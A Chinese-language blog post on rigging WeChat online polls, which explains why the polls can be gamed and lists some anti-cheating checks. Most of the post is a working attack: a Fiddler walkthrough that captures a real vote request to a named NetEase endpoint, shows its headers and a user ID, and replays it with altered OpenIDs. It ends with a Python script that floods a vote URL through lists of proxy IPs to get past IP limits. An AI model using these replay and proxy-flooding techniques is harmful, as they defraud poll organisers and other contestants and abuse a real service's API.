刷票神器APP「網路刷票軟體」

快到年底了,家裡的微信群又熱鬧了起來,家族裡有幾個親戚正在參加某評比活動的微信投票活動,所以七大姑八大姨天天在群里讓我們幫著投票,家裡人知道我是搞IT技術的就想著讓我搞個刷票軟體,自動刷票。於是我就花了些經歷研究了一下這個灰色產業!

今天就把我最近研究的心得體會給大家分享一下,讓大家了解一下微信刷票軟體的原理與實現!

一、 微信的刷票方式

微信刷票主要有兩種方式,軟體技術刷票和人工水軍刷票。

人工刷票:人工刷票,就是使用投票水軍來刷票。商家熱衷於搞微信投票活動,一些空閑時間多的人士發現了這其中的商家,以幫助參賽選手投票來獲得傭金。這些人多數是為兼職投票手投票員,外界一般稱我們為投票水軍。人工水軍刷票的原理就非常簡單,就是組建一個微信投票任務群,把投票任務發到群裡面就完成刷票了,就是這麼簡單。一個群不夠用,就多組建幾個群就可以了。

目前網上好多刷票團隊,自稱都是人工刷票,其實多數都是假的,為什麼呢?因為你看他的收費標準就知道了投100票價格可能在10元左右,所以一票可能都不到一毛錢,這個還要給水軍們分所以利潤並不高,除非業務量特別大。所以幾乎都是用刷票軟體刷票。

如果你想判斷你的是人工刷票,你可以讓他把投票的截圖都發給你,我想他是不會給你的,呵呵,如果真的給你,你的投票價格最少一票要3毛錢以上!

軟體技術刷票:刷票軟體原理多數 是通過抓包工具分析提交投票時所產的數據,然後使用腳本程序批量提交數據就達到了刷票的目的。其中最大的難題就是如何突破限制,例如ip限制,驗證碼限制,微信登陸授許可權制等。這些刷票工具網上也有很多,但是絕大多數效果都不怎麼好,會被平台限制住。

「微信刷票」的簡單實現

二、 微信投票活動的漏洞和刷票技術手段

常見漏洞如下:

1、在微信投票的活動中,會有兩種發起投票的情況,一種是發起投票的伺服器是獨立的,只是借用了微信的投票平台,在微信平台進行了投票之後,會有一個投票轉發的操作,將活動中的投票情況轉發給發起投票的伺服器。另一種是直接使用微信的伺服器來發起投票的操作,這種情況則不需要進行投票轉發的操作,投票情況直接在微信伺服器上進行控制。

2、在微信投票的活動中需要的是微信賬號來進行的投票,而在微信平台中有一個關於微信賬號的規則,那就是每一個加密後的微信賬號都會形成一個OpenID,每個用戶的OpenID在微信平台上來說都是唯一的。那麼當用戶進行投票後,如果是需要將投票轉發給獨立伺服器的,微信平台則會使用POST參數將包含投票用戶的OpenID的信息轉發給投票伺服器,投票伺服器在接收到微信平台發送過來的投票POST請求之後,就會在自己的伺服器通過對比OpenID來確認同一微信賬號的投票次數。如果不需要轉發給投票伺服器的,則直接在微信伺服器上確認OpenID的投票情況。

3、 如果是獨立的投票伺服器在接收到POST請求時,只能對這個發送過來的OpenID進行投票次數的判斷,但是因為無法使用微信伺服器的數據,就無法對這個OpenID進行真實性的驗證,這是微信投票活動的一個很大的漏洞。即便是直接使用微信服務票來進行的投票活動,雖然可以直接驗證OpenID的真實性,但是只需要用技術手段綁定一些OpenID正確的微信賬號來進行投票操作便可以通過這項驗證了。有了這個漏洞就非常便於來使用一些技術手段實現微信刷票的操作。

常見的刷票技術手段:

1、針對微信投票活動無法校驗OpenID真實性的漏洞,可以先使用一個微信賬號進行一次投票操作,利用這次操作來獲取相關的網路數據。這個數據中會包含POST請求的參數以及內容。然後通過腳本,比如Fiddler或者Python都可以,來自己構建一個POST的請求,該請求中參數和內容保證與獲取到的真實數據一致,然後按照真實OpenID的格式隨機生成OpenID,需要刷多少票數就進行多少次POST請求,便可以實現簡單的刷票操作了。

2、對於有IP限制的微信投票活動,可以使用CURL來偽造IP地址,這樣就可以製造多個IP來刷票了。

二、 常見的防止刷票方法

1、 只有關注了公眾號才能投票

在服務調用獲取用戶基礎信息

API介面會返回以下數據:

「微信刷票」的簡單實現

當用戶投票且未關注時,我們可根據subscribe是0還是1判斷有沒有關注,若沒有關注則轉至公眾號的二維碼頁面並提示用戶先長按二維碼關注公眾號。此方法的漏洞就是每次投票都要與微信伺服器進行交互。

2、 判斷refer和User-Agent

以下為一個request header的部分參數示例:

「微信刷票」的簡單實現

Referer為上一個訪問的頁面,所以refer必須要為投票的頁面地址。User-Agent裡面必須有關鍵詞MicroMessenger

3、限制客戶端投票次數

用ip當成同一個ip投票次數受限制,由於很多時候使用nginx或apache之類的代理伺服器,因此直接使用HttpServletRequest的getRemoteAddr()很多時候取得的是代理伺服器的ip,而我們要取得的是真實的ip址。下面是一個獲取真實ip的示例代碼

「微信刷票」的簡單實現

4、當投票量大於閱讀量時就是刷票行為

存儲頁面閱讀量,投票完成後,計算票數若投票量大於閱讀量時就是刷票行為。

5、在提交表單數據的地方使用校驗碼

「微信刷票」的簡單實現

服務端返回一個校驗碼,在dom初始化的時候頁面使用js加密這個校驗碼,commit的時候提交這個加密的校驗碼,服務端再判斷這個加密碼的校驗碼是否正確。校驗碼設置使用N次後就作廢。

以下為偽代碼

服務端處理:

「微信刷票」的簡單實現

四、 微信刷票軟體常見的實現方法

1、利用fiddler抓包 實現微信投票(原理是利用OpenID真實性的漏洞

第一步:首先在電腦上下載微信軟體

一般微信投票都需要關注公眾號才能投票,所以必須用電腦微信打開鏈接進入投票界面 下載好之後,打開微信登錄微信帳號。然後把投票網址複製粘貼發送到文件傳輸助手,這時先不要打開。

「微信刷票」的簡單實現

第二步:下載並安裝且打開抓包軟體fiddler

「微信刷票」的簡單實現

第三步:現在回到微信打開剛才要投票的網址,這時開啟抓包

「微信刷票」的簡單實現

第四步:通過我們剛才在微信里投票的過程,下邊我們來看下fiddler里的情況

「微信刷票」的簡單實現

出現了這些數據,需要對這些數據進行分析。找到哪個才是我們投票的數據

最後經過分析,找到了這些數據

Host: t: ssl.hi.163.com

Co

Content-Type: application/x-www-form-urlencoded

Origin: n: https://qnm.leihuo.net

Ac

Accept-Encoding: gzip, deflate

Connection: keep-alive

Accept: application/json

User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Mobile/14D27 MicroMessenger/6.7.1 NetType/WIFI Language/zh_CN

Referer: r: https://qnm.leihuo.net/m/2018/hahaha/MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ==/?nie=0.674688067616421&eggid=MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ==&uinfo=0&code=023Eqy001YcsR02oSGYZ0lRK001Eqy0Y

Co

Content-Length: 90

Accept-Language: zh-cn

https://ssl.hi.163.com/file_mg/public/qnm/zbs2018/incubation/changeEggProcess

wxid=ox1Mat8wMEsQ9dIoILUpNiESReNo&eggid=MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ%3D%3D&is_pass=1

第五步:現在我們需要對這些數據重組,進行一次發包操作。重新再刷一次票。

我們還是回到fiddler 這次我們需要打開這個

「微信刷票」的簡單實現

第六步:把我們剛才分析到的數據分組填入,填完之後是這樣的。然後我們點擊Execute按鈕。

「微信刷票」的簡單實現

第七步:我們點擊提交以後,看下軟體返回什麼數據

「微信刷票」的簡單實現

第八步:這個使我們所需要的具體信息。但是是亂碼,要怎麼應對呢,其實只要看 code:-5就可以了。這樣表示您已經孵化過或者投過票了。現在就是我們所需要操作的關鍵點。

第九步:回到我們剛才我們點擊提交的地方。把下列數據隨便改一下。但是位數不要減少也不要增加,再次提交 。

「微信刷票」的簡單實現

第十步:最後我們看下返回信息

「微信刷票」的簡單實現

哈哈,刷票成功了!!!

2、利用Python語言編寫腳本實現微信刷票(突破ip限制的投票方法)

針對那些微信投票只限制ip 來源的方式,我們可以用如下方式進行刷票:

第一步:在網上搜索大量的代理ip ,建立一個代理ip地址表

「微信刷票」的簡單實現

第二步:用Python編寫一個自動執行腳本

代碼如下:

1. #coding=utf-8 
2. import urllib2 
3. import urllib 
4. import re 
5. import threading 
6. import sys 
7. from time import ctime 
8. import time 
9. rlock = threading.RLock() 
10. def vote(proxyIP,i,urls): 
11. try: 
12. #print "voting...%d..." % i 
13. #使用代理IP 
14. proxy_support = urllib2.ProxyHandler(proxyIP) 
15. opener = urllib2.build_opener(proxy_support, urllib2.HTTPHandler) 
16. #定義Opener 
17. 
18. urllib2.install_opener(opener) 
19. #把opener綁定到全局 
20. 
21. sendt = '投票'.decode('utf-8').encode('gb2312') 
22. 
23. #設置刷票地址 
24. #post數據bn 
25. values = {} 
26. req = urllib2.urlopen(urls) 
27. #直接打開這個URL 
28. html = req.read() 
29. #讀取返回數據 
30. if html.find('true'.decode('utf-8').encode('gb2312')): 
31. print "投票 [%d] 成功" % i 
32. return 1 
33. else: 
34. print "投票 [%d] 失敗" % i 
35. return 0; 
36. except Exception: 
37. return False 
38. 
39. if __name__ == "__main__": 
40. args = sys.argv 
41. if(len(args) == 3): 
42. ipFile = open(args[1]); 
43. ipList = ipFile.readlines() 
44. ipFile.close() 
45. length = range(len(ipList)) 
46. threads = [] 
47. for i in length: 
48. ipLine = ipList[i] 
49. 
50. ip=ipLine.strip() 
51. proxy_ip = {'http': ip} 
52. t = threading.Thread(target=vote,args=(proxy_ip,i,args[2])) 
53. print "get ",args[2],ip 
54. threads.append(t) 
55. for i in length: 
56. threads[i].start(); 
57. if i%100: 
58. time.sleep(5) 
59. #每100個線程等待 5秒 
60. for i in length: 
61. threads[i].join() 
62. 
63. else: 
64. print """刷票工具 
65. python brush.py IP文件 Get地址: 
66. 
67. """ 

原創文章,作者:投稿專員,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/207699.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
投稿專員的頭像投稿專員
上一篇 2024-12-08 14:37
下一篇 2024-12-08 14:37

相關推薦

發表回復

登錄後才能評論